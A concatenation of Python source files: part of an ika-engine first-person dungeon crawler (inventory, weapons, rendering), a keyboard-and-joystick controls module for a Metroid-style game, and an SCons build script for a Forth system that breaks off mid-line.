mode :P scr = ika.Video.GrabImage(8,5, 224, 133) ika.Video.DrawRect(0,0,320,240, ika.RGB(0,0,0), 1) ika.Video.ScaleBlit(scr, 0, 28, 320, 184) #self.tinyfont.Print(0,0, str(ika.GetFrameRate())) #self.tinyfont.Print(0,10, str(self.animtimer)) if ika.Input.keyboard['ESCAPE'].Pressed(): #scr = ika.Video.GrabImage(0,0, 320, 240) ika.Video.DrawRect(0,0,320,240, ika.RGB(0,0,0,128), 1) ika.Video.ShowPage() while not ika.Input.keyboard['ESCAPE'].Pressed(): #ika.Video.Blit(scr, 0,0) ika.Input.Update() #ika.Video.ShowPage() ika.Input.Unpress() time = ika.GetTime() ika.Video.ShowPage() if ika.Input.keyboard['RCTRL'].Position() or ika.Input.keyboard['LCTRL'].Position() or self.MouseM(): self.Attack() if ika.Input.keyboard['R'].Pressed(): self.Reload() if ika.Input.keyboard['F'].Pressed(): if self.equip.lefthand: self.equip.lefthand.Use() if isinstance(self.equip.lefthand, Stackable) and self.equip.lefthand.count == 0: self.equip.lefthand = None if ika.Input.keyboard['M'].Pressed() or ika.Input.keyboard['1'].Pressed(): self.pda.SetMode(0) self.sound.Play("click.wav") if ika.Input.keyboard['T'].Pressed() or ika.Input.keyboard['2'].Pressed(): self.pda.SetMode(1) self.sound.Play("click.wav") if ika.Input.keyboard['O'].Pressed() or ika.Input.keyboard['3'].Pressed(): self.pda.SetMode(2) self.sound.Play("click.wav") if ika.Input.keyboard['L'].Pressed() or ika.Input.keyboard['4'].Pressed(): self.pda.SetMode(3) self.sound.Play("click.wav") if ika.Input.keyboard['TAB'].Pressed(): self.fullscreen = not self.fullscreen # MOUSE ############################################################################################# def MouseX(self): return ika.Input.mouse.x.Position() def MouseY(self): return ika.Input.mouse.y.Position() def MouseL(self): return ika.Input.mouse.left.Position() def MouseR(self): return ika.Input.mouse.right.Position() def MouseM(self): return ika.Input.mouse.middle.Position() def MouseClicked(self): return ika.Input.mouse.left.Pressed() or ika.Input.mouse.right.Pressed() def DoMouse(self): if self.inv.grabbeditem is None: ika.Video.TintBlit(self.ptr, int(self.MouseX()), int(self.MouseY()), self.color) else: self.inv.grabbeditem.Draw(int(self.MouseX())-8, int(self.MouseY())-8) if self.MouseClicked(): #click! if self.MouseX() > self.left and self.MouseX() < self.left + 224 \ and self.MouseY() > self.top + 8 and self.MouseY() < self.top + 128: #clicked in bottom of main window offx, offy = self.offtable[self.facing] if self.inv.grabbeditem is None: #not holding an item, grab one #todo: code pressing buttons # if facing a wall directly ahead and wall contains a pressable item, find the clickable area and compare to activate if self.items.has_key((self.plrx+offx, self.plry+offy)): self.inv.grabbeditem = self.items[(self.plrx+offx, self.plry+offy)].pop() self.messages.AddMessage(self.inv.grabbeditem.name) if len(self.items[(self.plrx+offx, self.plry+offy)]) == 0: del self.items[(self.plrx+offx, self.plry+offy)] else: #holding an item, place it #todo: add in code for using keys on buttons, etc if self.items.has_key((self.plrx+offx, self.plry+offy)): self.items[(self.plrx+offx, self.plry+offy)].append(self.inv.grabbeditem) else: self.items[(self.plrx+offx, self.plry+offy)] = [self.inv.grabbeditem] self.inv.grabbeditem = None #### Inventory System ############################################################################### if self.MouseX() > self.inv.left and self.MouseX() < self.inv.left + 64 \ and self.MouseY() > self.inv.top and self.MouseY() < self.inv.top + 128: #clicked in inventory if self.MouseL(): if self.inv.grabbeditem is None: #not holding an item, grab one self.inv.GrabItem(self.MouseX(), self.MouseY()) else: #holding an item, place it self.inv.PlaceItem(self.MouseX(), self.MouseY()) elif self.MouseR(): #use the item! self.inv.UseItem(self.MouseX(), self.MouseY()) #### Equip System ################################################################################# if self.MouseX() > 253 and self.MouseX() < 253+16 \ and self.MouseY() > 178 and self.MouseY() < 178+32: #Right hand if self.MouseL(): if self.inv.grabbeditem is None: self.inv.grabbeditem = self.equip.TakeItem(0) else: self.equip.AddItem(self.inv.grabbeditem, 0) elif self.MouseR(): self.equip.UseItem(0) if self.MouseX() > 253 and self.MouseX() < 253+16 \ and self.MouseY() > 210 and self.MouseY() < 210+16: #Left hand if self.MouseL(): if self.inv.grabbeditem is None: self.inv.grabbeditem = self.equip.TakeItem(1) else: self.equip.AddItem(self.inv.grabbeditem, 1) elif self.MouseR(): self.equip.UseItem(1) if self.MouseX() > 272 and self.MouseX() < 272+32 \ and self.MouseY() > 178 and self.MouseY() < 178+32: #Armor if self.MouseL(): if self.inv.grabbeditem is None: self.inv.grabbeditem = self.equip.TakeItem(2) else: self.equip.AddItem(self.inv.grabbeditem, 2) elif self.MouseR(): self.equip.UseItem(2) if self.MouseX() > 272 and self.MouseX() < 272+32 \ and self.MouseY() > 210 and self.MouseY() < 210+16: #Belt if self.MouseL(): if self.inv.grabbeditem is None: self.inv.grabbeditem = self.equip.TakeItem(3) else: self.equip.AddItem(self.inv.grabbeditem, 3) elif self.MouseR(): self.equip.UseItem(3) #### PDA system ##################################################################################### if self.MouseX() > 9 and self.MouseX() < 231 \ and self.MouseY() > 170 and self.MouseY() < 235: self.pda.Click(int(self.MouseX()), int(self.MouseY())) def Reload(self, ammotype=None): if self.attacking: return required = 0 #todo: right click on ammo to reload #if ammotype: if isinstance(self.equip.righthand, Pistol) and self.equip.righthand.count < 16: required = 16 - self.equip.righthand.count s = "reload_pistol.wav" ammo = Clip elif isinstance(self.equip.righthand, Rifle) and self.equip.righthand.count < 60: required = 60 - self.equip.righthand.count s = "reload_rifle.wav" ammo = Clip elif isinstance(self.equip.righthand, Shotgun) and self.equip.righthand.count < 8: required = 8 - self.equip.righthand.count s = "reload_shotgun.wav" ammo = Shells if required == 0: return self.reloading = True self.animtimer = 0 played = False for i in self.inv.items: if isinstance(i, ammo): if i.count > required: #more ammo in the clip than needed self.equip.righthand.count += required i.count -= required required = 0 else: #need more ammo than the clip has self.equip.righthand.count += i.count required -= i.count self.inv.DeleteItem(i) if played == False: self.sound.Play(s) played = True if required == 0: return #keep going if we still need more ammo, otherwise return def UpdateStats(self): attack = 1 if self.equip.righthand is not None: attack = self.equip.righthand.attack self.attack = attack defense = 0 if self.equip.armor is not None: defense += self.equip.armor.defense if self.equip.belt is not None: defense += self.equip.belt.defense self.defense = defense def Attack(self): hurt = False distance = 3 if self.equip.righthand is None: if (ika.Input.keyboard['RCTRL'].Pressed() or ika.Input.keyboard['LCTRL'].Pressed() \ or ika.Input.mouse.middle.Pressed()) and not self.attacking and not self.reloading: self.attacking = True self.curframe = 1 hurt = True distance = 1 elif isinstance(self.equip.righthand, Pipe): if (ika.Input.keyboard['RCTRL'].Pressed() or ika.Input.keyboard['LCTRL'].Pressed() \ or ika.Input.mouse.middle.Pressed()) and not self.attacking and not self.reloading: self.attacking = True self.curframe = 1 hurt = True distance = 1 elif isinstance(self.equip.righthand, Pistol): if (ika.Input.keyboard['RCTRL'].Pressed() or ika.Input.keyboard['LCTRL'].Pressed() \ or ika.Input.mouse.middle.Pressed()) and not self.attacking and not self.reloading: if self.equip.righthand.count > 0: self.attacking = True self.curframe = 1 self.equip.righthand.count -= 1 self.sound.Play("fire_pistol.wav") hurt = True else: self.sound.Play("Empty.wav") elif isinstance(self.equip.righthand, Shotgun): if (ika.Input.keyboard['RCTRL'].Pressed() or ika.Input.keyboard['LCTRL'].Pressed() \ or ika.Input.mouse.middle.Pressed()) and not self.attacking and not self.reloading: if self.equip.righthand.count > 0: self.attacking = True self.curframe = 1 self.equip.righthand.count -= 1 self.sound.Play("fire_shotgun.wav", 0.75) hurt = True else: self.sound.Play("Empty.wav") elif isinstance(self.equip.righthand, Rifle): if not self.attacking and not self.reloading: if self.equip.righthand.count > 0: self.attacking = True self.curframe = 1 self.equip.righthand.count -= 1 self.sound.Play("fire_rifle.wav") hurt = True else: if ika.Input.keyboard['RCTRL'].Pressed() or ika.Input.keyboard['LCTRL'].Pressed() or ika.Input.mouse['MOUSEM'].Pressed(): self.sound.Play("Empty.wav") #Ensure these buttons are unpressed ika.Input.mouse.middle.Pressed() ika.Input.keyboard['RCTRL'].Pressed() ika.Input.keyboard['LCTRL'].Pressed() if hurt: #we can hurt someone :D offx, offy = self.offtable[self.facing] for i in range(1, distance+1): ents = self.GetEnts(self.plrx+i*offx, self.plry+i*offy) for e in ents: if e and not e.dead: e.Hurt(self.attack) if not self.equip.righthand: self.sound.Play("punch_hit.wav") elif isinstance(self.equip.righthand, Pipe): self.sound.Play("punch_hit.wav") return def AnimUpdate(self): if self.attacking == True: if self.equip.righthand is None: if self.animtimer < 6: self.curframe = 1 elif self.animtimer < 12: self.curframe = 2 elif self.animtimer < 20: self.curframe = 1 self.animtimer += 1 if self.animtimer > 20: self.attacking = False self.animtimer = 0 self.curframe = 0 elif isinstance(self.equip.righthand, Pipe): if self.animtimer < 10: self.curframe = 1 elif self.animtimer < 20: self.curframe = 2 elif self.animtimer < 30: self.curframe = 1 self.animtimer += 1 if self.animtimer > 30: self.attacking = False self.animtimer = 0 self.curframe = 0 if isinstance(self.equip.righthand, Pistol): self.curframe = 1 self.animtimer += 1 if self.animtimer > 8: self.attacking = False self.animtimer = 0 self.curframe = 0 if isinstance(self.equip.righthand, Rifle): if self.animtimer < 7: self.curframe = 1 else: self.curframe = 0 self.animtimer += 1 if self.animtimer > 10: self.attacking = False self.animtimer = 0 self.curframe = 0 if isinstance(self.equip.righthand, Shotgun): if self.animtimer < 8: self.curframe = 1 elif self.animtimer < 25: self.curframe = 0 elif self.animtimer < 45: self.curframe = 2 elif self.animtimer < 75: self.curframe = 0 self.animtimer += 1 if self.animtimer >= 75: self.attacking = False self.animtimer = 0 self.curframe = 0 if self.reloading == True: self.animtimer += 1 if self.animtimer > self.equip.righthand.reloadtime: self.reloading = False self.animtimer = 0 def DrawFrames(self): if self.equip.righthand is None: ika.Video.Blit(self.handframes[self.curframe], 125-5*self.curframe, 74) if isinstance(self.equip.righthand, Pipe): ika.Video.Blit(self.pipeframes[self.curframe], 125-5*self.curframe, 45) elif isinstance(self.equip.righthand, Pistol): ika.Video.Blit(self.pistolframes[self.curframe], 128, 82+2*self.curframe) if self.equip.righthand.count > 9: s = str(self.equip.righthand.count) else: s = "0"+str(self.equip.righthand.count) self.gunfont.Print(164,120+2*self.curframe,s) elif isinstance(self.equip.righthand, Shotgun): if self.curframe == 1: #firing, move it down slightly for recoil ika.Video.Blit(self.shotgunframes[1], 120, 78) else: ika.Video.Blit(self.shotgunframes[self.curframe], 120, 75) elif isinstance(self.equip.righthand, Rifle): ika.Video.Blit(self.rifleframes[self.curframe], 120, 75+2*self.curframe) if self.equip.righthand.count > 9: s = str(self.equip.righthand.count) else: s = "0"+str(self.equip.righthand.count) self.gunfont.Print(175,122+2*self.curframe,s) #OTHER ################################################################################################### def Move(self): if self.attacking: return #bad, no move for you! offx, offy = self.offtable[self.facing] self.moved = False if ika.Input.keyboard['UP'].Pressed() or ika.Input.keyboard['W'].Pressed(): if not self.GetObs(self.plrx+offx, self.plry+offy): self.plrx += offx; self.plry += offy self.moved = True elif ika.Input.keyboard['DOWN'].Pressed() or ika.Input.keyboard['S'].Pressed(): offx *= -1; offy *= -1 if not self.GetObs(self.plrx+offx, self.plry+offy): self.plrx += offx; self.plry += offy self.moved = True elif ika.Input.keyboard['LEFT'].Pressed() or ika.Input.keyboard['Q'].Pressed(): if ika.Input.keyboard['RSHIFT'].Position() or ika.Input.keyboard['LSHIFT'].Position(): offx, offy = self.offtable_l[self.facing] if not self.GetObs(self.plrx+offx, self.plry+offy): self.plrx += offx; self.plry += offy self.moved = True else: self.facing -= 1 if self.facing < 0: self.facing = 3 self.moved = True elif ika.Input.keyboard['RIGHT'].Pressed() or ika.Input.keyboard['E'].Pressed(): if ika.Input.keyboard['RSHIFT'].Position() or ika.Input.keyboard['LSHIFT'].Position(): offx, offy = self.offtable_r[self.facing] if not self.GetObs(self.plrx+offx, self.plry+offy): self.plrx += offx; self.plry += offy self.moved = True else: self.facing += 1 if self.facing > 3: self.facing = 0 self.moved = True elif ika.Input.keyboard['A'].Pressed(): offx, offy = self.offtable_l[self.facing] if not self.GetObs(self.plrx+offx, self.plry+offy): self.plrx += offx; self.plry += offy self.moved = True elif ika.Input.keyboard['D'].Pressed(): offx, offy = self.offtable_r[self.facing] if not self.GetObs(self.plrx+offx, self.plry+offy): self.plrx += offx; self.plry += offy self.moved = True def GetObs(self, x, y): if not ika.Map.GetObs(x,y,0): for e in self.entities: if e.x == x and e.y == y and not e.dead: return True #entity found return False return True #obsutrction found def DrawWalls(self): if(self.moved): #Took a step. Flip the background image, to make the movement look more realistic.. self.backflip += 1 if(self.backflip > 1): self.backflip = 0 ents = [None]*25 f_items = [None]*25 item_offset = [0]*25 obj = [None]*25 walls = [1]*25 decals = [None]*25 x = 0 y = 0 t = 0 #background self.back[self.backflip].Blit(self.left, self.top) for i in range(4): #4 rows j = -i-1 while(j < i+2): if self.facing == 0: x = j; y = -i if self.facing == 1: x = i; y = j if self.facing == 2: x = -j; y = i if self.facing == 3: x = -i; y = -j walls[t] = ika.Map.GetTile(int(self.plrx+x), int(self.plry+y), 0) ents[t] = self.GetEnts(int(self.plrx+x), int(self.plry+y)) o = ika.Map.GetTile(int(self.plrx+x), int(self.plry+y), 1) if o: obj[t] = self.objects[o-self.objnum] if o-self.objnum<2: item_offset[t] = 32/(i+1) elif o-self.objnum>3: item_offset[t] = 32/(i+1) + 24 if self.items.has_key((int(self.plrx+x), int(self.plry+y))): f_items[t] = self.items[(int(self.plrx+x), int(self.plry+y))] j += 1 t += 1 ##### Row 3 ############################################################################ if(walls[17]): self.flp3[walls[17]-1].Blit(self.left, self.top) if(walls[18]): self.lp3[walls[18]-1].Blit(self.left, self.top) if(walls[20]): self.rp3[walls[20]-1].Blit(self.left, self.top) if(walls[21]): self.frp3[walls[21]-1].Blit(self.left, self.top) ##### Row 2 ############################################################################ if(obj[18]): obj[18][6].Blit(self.left, self.top) if(obj[19]): obj[19][7].Blit(self.left, self.top) if(obj[20]): obj[20][8].Blit(self.left, self.top) if f_items[18]: for i in f_items[18]: ika.Video.DistortBlit(i.img, (25, 66-item_offset[18]), (25+8*i.w, 66-item_offset[18]), (25+8*i.w,66+6*i.h-item_offset[18]), (25, 66+6*i.h-item_offset[18])) if f_items[19]: for i in f_items[19]: ika.Video.DistortBlit(i.img, (110, 66-item_offset[19]), (110+8*i.w, 66-item_offset[19]), (110+8*i.w,66+6*i.h-item_offset[19]), (110, 66+6*i.h-item_offset[19])) if f_items[20]: for i in f_items[20]: ika.Video.DistortBlit(i.img, (185, 66-item_offset[20]), (185+8*i.w, 66-item_offset[20]), (185+8*i.w,66+6*i.h-item_offset[20]), (185, 66+6*i.h-item_offset[20])) if(ents[18]): for e in ents[18]: ika.Video.Blit(e.GetFrame(self.facing, 2), 50, 36) if(ents[19]): for e in ents[19]: ika.Video.Blit(e.GetFrame(self.facing, 2), 101, 36) if(ents[20]): for e in ents[20]: ika.Video.Blit(e.GetFrame(self.facing, 2), 152, 36) if(walls[18]): self.lw2[walls[18]-1].Blit(self.left, self.top) if(walls[19]): self.cw2[walls[19]-1].Blit(self.left, self.top) if(walls[20]): self.rw2[walls[20]-1].Blit(self.left, self.top) if(walls[10]): self.lp2[walls[10]-1].Blit(self.left, self.top) if(walls[12]): self.rp2[walls[12]-1].Blit(self.left, self.top) ##### Row 1 ############################################################################ if(obj[10]): obj[10][3].Blit(self.left, self.top) if(obj[11]): obj[11][4].Blit(self.left, self.top) if(obj[12]): obj[12][5].Blit(self.left, self.top) if f_items[10]: for i in f_items[10]: ika.Video.DistortBlit(i.img, (15, 75-item_offset[10]), (15+12*i.w, 75-item_offset[10]), (15+12*i.w,75+(10-i.h)*i.h-item_offset[10]), (15, 75+(10-i.h)*i.h-item_offset[10])) if f_items[11]: for i in f_items[11]: ika.Video.DistortBlit(i.img, (110, 75-item_offset[11]), (110+12*i.w, 75-item_offset[11]), (110+12*i.w,75+(10-i.h)*i.h-item_offset[11]), (110, 75+(10-i.h)*i.h-item_offset[11])) if f_items[12]: for i in f_items[12]: ika.Video.DistortBlit(i.img, (205, 75-item_offset[12]), (205+12*i.w, 75-item_offset[12]), (205+12*i.w,75+(10-i.h)*i.h-item_offset[12]), (205, 75+(10-i.h)*i.h-item_offset[12])) if(ents[10]): for e in ents[10]: ika.Video.Blit(e.GetFrame(self.facing, 1), 7, 32) if(ents[11]): for e in ents[11]: ika.Video.Blit(e.GetFrame(self.facing, 1), 89, 32) if(ents[12]): for e in ents[12]: ika.Video.Blit(e.GetFrame(self.facing, 1), 170, 32) if(walls[10]): self.lw1[walls[10]-1].Blit(self.left, self.top) if(walls[11]): self.cw1[walls[11]-1].Blit(self.left, self.top) if(walls[12]): self.rw1[walls[12]-1].Blit(self.left, self.top) if(walls[4]): self.lp1[walls[4]-1].Blit(self.left, self.top) if(walls[6]): self.rp1[walls[6]-1].Blit(self.left, self.top) ##### Row 0 ############################################################################ if(obj[4]): obj[4][0].Blit(self.left, self.top) if(obj[5]): obj[5][1].Blit(self.left, self.top) if(obj[6]): obj[6][2].Blit(self.left, self.top) if f_items[4]: for i in f_items[4]: ika.Video.DistortBlit(i.img, (10, 96-i.h-item_offset[4]), (10+16*i.w, 96-i.h-item_offset[4]), (10+16*i.w,96+(14-i.h*2)*i.h-item_offset[4]), (10, 96+(14-i.h*2)*i.h-item_offset[4])) if f_items[5]: for i in f_items[5]: ika.Video.DistortBlit(i.img, (107, 96-i.h-item_offset[5]), (107+16*i.w, 96-i.h-item_offset[5]), (107+16*i.w,96+(14-i.h*2)*i.h-item_offset[5]), (107, 96+(14-i.h*2)*i.h-item_offset[5])) if f_items[6]: for i in f_items[6]: ika.Video.DistortBlit(i.img, (210, 96-i.h-item_offset[6]), (210+16*i.w, 96-i.h-item_offset[6]), (210+16*i.w,96+(14-i.h*2)*i.h-item_offset[6]), (210, 96+(14-i.h*2)*i.h-item_offset[6])) if(ents[4]): for e in ents[4]: ika.Video.Blit(e.GetFrame(self.facing, 0), -58, 30) if(ents[5]): for e in ents[5]: ika.Video.Blit(e.GetFrame(self.facing, 0), 73, 30) if(ents[6]): for e in ents[6]: ika.Video.Blit(e.GetFrame(self.facing, 0), 198, 30) if(walls[4]): self.lw0[walls[4]-1].Blit(self.left, self.top) if(walls[5]): self.cw0[walls[5]-1].Blit(self.left, self.top) if(walls[6]): self.rw0[walls[6]-1].Blit(self.left, self.top) #if f_items[1]: # for i in f_items[1]: ika.Video.Blit(i.img, 110, 110) # diagonal walls row 0 if(walls[0]): self.lp0[walls[0]-1].Blit(self.left, self.top) if(walls[2]): self.rp0[walls[2]-1].Blit(self.left, self.top) #self.cw1[0].Blit(self.left, self.top) #self.texturetest.Blit(self.left+15, self.top+6) #uncomment for fun texture distortion :D #self.texturetest.DistortBlit((self.left+15, self.top+6), # (self.left+53, self.top+20), # (self.left+53, self.top+89), # (self.left+15, self.top+117) ) def GetEnts(self, x, y): dead_ents = [] ents = [] for e in self.entities: if e.x == x and e.y == y: if not e.dead: ents.append(e) else: dead_ents.append(e) return dead_ents + ents #makes sure dead entities are first def DrawAutoMap(self): for x in range(-11, 12): for y in range(-3, 4): if ika.Map.GetTile(int(self.plrx+x), int(self.plry+y), 0) > 0 \ and ika.Map.GetTile(int(self.plrx+x), int(self.plry+y), 0) !=4: self.tiles[1].Blit(100+8*x, 199+8*y) ents = self.GetEnts(self.plrx+x, self.plry+y) for e in ents: if e.dead: self.tiles[3].Blit(100+8*x, 199+8*y) else: self.tiles[2].Blit(100+8*x, 199+8*y) ika.Video.TintBlit(self.arrows[self.facing], 100, 199, self.color) def Heal(self, amount): self.health += amount if self.health > self.max_health: self.health = self.max_health def Hurt(self, amount): self.health -= (amount - self.defense) if self.health > 75: self.sound.Play("pain100.wav") elif self.health > 50: self.sound.Play("pain75.wav") elif self.health > 25: self.sound.Play("pain50.wav") elif self.health > 0: self.sound.Play("pain25.wav") else: #dead! self.health = 0 self.sound.Play("death.wav") self.Die() def Die(self): time = ika.GetTime() t = 0 scr = ika.Video.GrabImage(0,0, 320, 240) while t < 128: ika.Video.Blit(scr, 0,0) ika.Video.DrawRect(0,0,320,240, ika.RGB(t,0,0,t), 1) ika.Input.Update() ika.Video.ShowPage() t = ika.GetTime() - time time = ika.GetTime() t = 0 while t < 128: ika.Video.Blit(scr, 0,0) ika.Video.DrawRect(0,0,320,240, ika.RGB(128-t,0,0,128+t), 1) ika.Input.Update() ika.Video.ShowPage() t = ika.GetTime() - time self.music.volume = (128-t)/128.0 self.music.Pause() intro.Start() def End(self): time = ika.GetTime() t = 0 scr = ika.Video.GrabImage(0,0, 320, 240) while t < 255: ika.Video.Blit(scr, 0,0) ika.Video.DrawRect(0,0,320,240, ika.RGB(0,0,0,t), 1) ika.Input.Update() ika.Video.ShowPage() t = ika.GetTime() - time self.music.volume = (255-t)/255.0 self.music.Pause() credits.Start() class Messages(object): #two message lines under the dungeon window def __init__(self): self.msg = ["", ""] self.time = [0, 0] def Update(self): self.time[0] -= 1 if self.time[0] == 0: self.Pop() self.time[1]-=1 def AddMessage(self, msg, time=500): if self.msg[0] == "": self.msg[0] = msg self.time[0] = time elif self.msg[1] == "": self.msg[1] = msg self.time[1] = time else: self.Pop() self.msg[1] = msg self.time[1] = time def Pop(self): #pops bottom message up one level self.msg[0] = self.msg[1] self.time[0] = self.time[1] self.msg[1] = "" self.time[1] = 0 def Draw(self): for i, m in enumerate(self.msg): engine.tinyfont.Print(10, 142+10*i, m) ika.Map.Switch('medsci.ika-map') engine = Engine() engine.NewGame() engine.Run()
Python
#!/usr/bin/env python import ika """ [Controls] UP DOWN LEFT RIGHT JUMP FIRE MISSILE_FIRE BOOST SPIDER_BALL AIM_UP AIM_DOWN BEAM_SELECT MISSILE_SELECT MISSILE_HOLD [Scheme] Depending on scheme, some of the buttons work differently. MISSILE_SELECT either changes type of missile (#1) or switches main firing (#2). BEAM_SELECT either changes type of beam (#1) or switchs main weapon type (#2). """ def GetButtons(): """ Returns buttons filtered by position and pressed. """ return filter(PositionFilter, buttons), filter(PressedFilter, buttons) def PositionFilter(button): return buttons[button].Position() > 0.5 def PressedFilter(button): return buttons[button].Pressed() # Analog deadzone. deadzone = 0.5 raw_controls = dict() key_names = ['BACKSPACE', 'TAB', 'CLEAR', 'RETURN', 'PAUSE', 'ESCAPE', 'SPACE', 'EXCLAIM', 'QUOTEDBL', 'HASH', 'DOLLAR', 'AMPERSAND', 'QUOTE', 'LEFTPAREN', 'RIGHTPAREN', 'ASTERISK', 'PLUS', 'COMMA', 'MINUS', 'PERIOD', 'SLASH', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'COLON', 'SEMICOLON', 'LESS', 'EQUALS', 'GREATER', 'QUESTION', 'AT', 'LEFTBRACKET', 'BACKSLASH', 'RIGHTBRACKET', 'CARET', 'UNDERSCORE', 'BACKQUOTE', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'DELETE', 'KP0', 'KP1', 'KP2', 'KP3', 'KP4', 'KP5', 'KP6', 'KP7', 'KP8', 'KP9', 'KP_PERIOD', 'KP_DIVIDE', 'KP_MULTIPLY', 'KP_MINUS', 'KP_PLUS', 'KP_ENTER', 'KP_EQUALS', 'UP', 'DOWN', 'RIGHT', 'LEFT', 'INSERT', 'HOME', 'END', 'PAGEUP', 'PAGEDOWN', 'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'F11', 'F12', 'F13', 'F14', 'F15', 'NUMLOCK', 'CAPSLOCK', 'SCROLLOCK', 'RSHIFT', 'LSHIFT', 'RCTRL', 'LCTRL', 'RALT', 'LALT', 'RMETA', 'LMETA', 'LSUPER', 'RSUPER', 'MODE'] #Load up keyboard controls. for key in key_names: raw_controls["key:" + key] = ika.Input.keyboard[key] # joystick: for joyIndex, joy in enumerate(ika.Input.joysticks): # joystick axes: for axisIndex, axis in enumerate(joy.axes): raw_controls['joy:%i:axis:%i+' % (joyIndex, axisIndex)] = axis for axisIndex, axis in enumerate(joy.reverseaxes): raw_controls['joy:%i:axis:%i-' % (joyIndex, axisIndex)] = axis # joystick buttons: for buttonIndex, button in enumerate(joy.buttons): raw_controls['joy:%i:buttons:%i' % (joyIndex, buttonIndex)] = button class Button(object): __slots__ = ( "controls", #List. List of current controls. "onpress", #Function. Called when button is pressed and repeated. "onrelease", #Function. Called when button is released. "pressed" ) def __init__(self, *keys): self.controls = {} for key in keys: self.Add(key) self.pressed = False def GetControls(self): keys = [] for key in self.controls: keys.append(key) return ",".join(keys) def Set(self, *keys): self.controls = {} for key in keys: self.Add(key) def Add(self, key): if key in raw_controls: self.controls[key] = raw_controls[key] def Position(self): for key in self.controls: v = self.controls[key].Position() if abs(v) >= deadzone: break else: return 0.0 return v def Pressed(self): p = self.Position() if self.pressed: if abs(p) < deadzone: self.pressed = False return False else: if abs(p) >= deadzone: self.pressed = True return True else: return False #Default controls are for: WASD+numpad, arrow keys+ASDF, joystick. #Directional buttons up = Button("key:UP", "joy:0:axis:1-") down = Button("key:DOWN","joy:0:axis:1+") left = Button("key:LEFT","joy:0:axis:0-") right = Button("key:RIGHT", "joy:0:axis:0+") #Main functionality buttons. jump = Button("key:Z","joy:0:buttons:2") fire = Button("key:X","joy:0:buttons:0") aim_up = Button("key:A", "joy:0:buttons:6") boost = Button("key:A", "joy:0:buttons:6") aim_down = Button("key:D", "joy:0:buttons:7") spider_ball = Button("key:D", "joy:0:buttons:7") #Item management buttons. beam_select = Button("key:LCTRL", "joy:0:buttons:3") weapon_select = Button("key:LSHIFT", "joy:0:buttons:4") missile = Button("key:C", "joy:0:buttons:1") #Classic start button. start = Button("key:SPACE", "key:SPACE", "joy:0:buttons:5") #Dict of all the buttons. buttons = {"up": up, "down": down, "left": left, "right": right, "jump": jump, "fire": fire, "aim_up": aim_up, "aim_down": aim_down, "boost": boost, "spider_ball": spider_ball, "beam_select": beam_select, "weapon_select": weapon_select, "missile": missile, "start": start} missile_style = 0 #0 = Missile: Fires Missile/Super Missile or Power Bomb. Weapon Select: Change between Missile and Super Missile. #1 = Missile: Hold to enable Missile/Super Missile or Power Bomb. Weapon Select: Change between Missile and Super Missile. #2 = Missile: Nothing. Weapon Select: Change between beam, Missile, Super Missile, and Power Bomb.
Python
import os import sys import glob import re def shelloutput(cmd): pipe = os.popen(cmd, 'r') ret = pipe.read() pipe.close() return ret.strip() def gccversion(): ver = re.search('\d*\.\d*\.\d*', shelloutput('gcc --version')).group(0) return map(int, ver.split('.')) def arch(): if os.name == 'nt': arch = 'i386' else: arch = shelloutput('uname -m') if arch == 'ppc': arch = 'powerpc' if arch == 'amd64': arch = 'x64' if arch == 'x86_64': arch = 'x64' if arch == 'i686': arch = 'i386' if arch == 'sgimips': arch = 'mips' if ARGUMENTS.get('arch', 0): arch = ARGUMENTS.get('arch') return arch def normalized_os(): ret = sys.platform if ret[0:6] == 'netbsd': ret = 'netbsd' if ret[0:7] == 'freebsd': ret = 'freebsd' if ret[0:5] == 'linux': ret = 'linux' if ret[0:9] == 'dragonfly': ret = 'dragonfly' return ret tarch = arch() tools = [] if os.name == 'nt': tools = ['mingw'] env = Environment(ARCH=tarch, TOOLS=['mingw'], OS=normalized_os()) ring0 = ARGUMENTS.get('ring0', False) if ring0: env.Tool('crossmingw', '.') env['LINK'] = env['CC'] env['OS'] = 'win32' #env['ENV']['PATH'] = os.environ['PATH'] env.Append(CCFLAGS='-O2 -g') env.Append(LINKFLAGS='-g') if tarch == 'x64': env.Append(CPPDEFINES=['X86_64']) else: if tarch == 'i386' and env['OS'] == 'darwin' and not ring0: env.Append(ASFLAGS='-arch i386') if tarch == 'i386' and env['OS'] != 'darwin': env.Replace(AS='as --32') env.Append(CPPFLAGS='-m32') env.Append(LINKFLAGS='-m32') gccmajor, gccminor, gccrev = gccversion() if gccmajor < 3: env.Append(CPPDEFINES=[['__LONG_LONG_MAX__', '9223372036854775807']]) else: env.Append(CCFLAGS='-fno-reorder-blocks') def slurp(f): f = open(str(f)) res = f.read() f.close() return res def barf(f, contents): f = open(str(f), 'w') f.write(contents) f.close def gentab(env, target, source): res = '' prims = slurp(source[0]).split('PRIM(')[1:] for prim in prims: res += '&&' + prim.split(')')[0] + ',\n' barf(target[0], res) def cat(env, target, source): res = '' for src in source: res += slurp(src) barf(target[0], res) cat = Builder(action=cat) tab = Builder(action=gentab, source_scanner = CScan) asm = Builder(action= '$CC $CCFLAGS $CPPFLAGS $_CPPDEFFLAGS $_CPPINCFLAGS -S -o $TARGET $SOURCE', source_scanner = CScan) hlp = Builder(action= 'obj/fina help/glosgen.fs -e "newglos makeglos $SOURCE writeglos $TARGET bye"') env.Append(BUILDERS = { 'Tab' : tab, 'Asm' : asm, 'Hlp' : hlp, 'Cat' : cat, }) def myglob(self, pat): curr = os.getcwd() os.chdir(str(Dir('#'))) ret = glob.glob(pat) os.chdir(curr) return ret def basename(self, path): return os.path.basename(path) def outputfrom(self, cmd): return shelloutput(cmd) def CppAsm(self, target, source): cpp = self.Command(target + '.s', source, '$CC $CCFLAGS $CPPFLAGS $_CPPDEFFLAGS $_CPPINCFLAGS -E -o $TARGET $SOURCE') return self.Object(target, cpp) prefix = ARGUMENTS.get('prefix', '#./inst') if prefix[-1] != '/': prefix += '/' def Ins(self, where, what): return self.Default(self.Install(prefix + where, what)) def Run(self, files): env.Default(env.Command('dummyrun', files, str(Dir(prefix)) + '/bin/fina $SOURCES')) def TimedRun(self, file): env.Default(env.Command('dummy' + file, file, 'time ' + str(Dir(prefix)) \ + '/bin/fina $SOURCE -e "main bye"')) Environment.Glob = classmethod(myglob) Environment.Basename = classmethod(basename) Environment.OutputFrom = 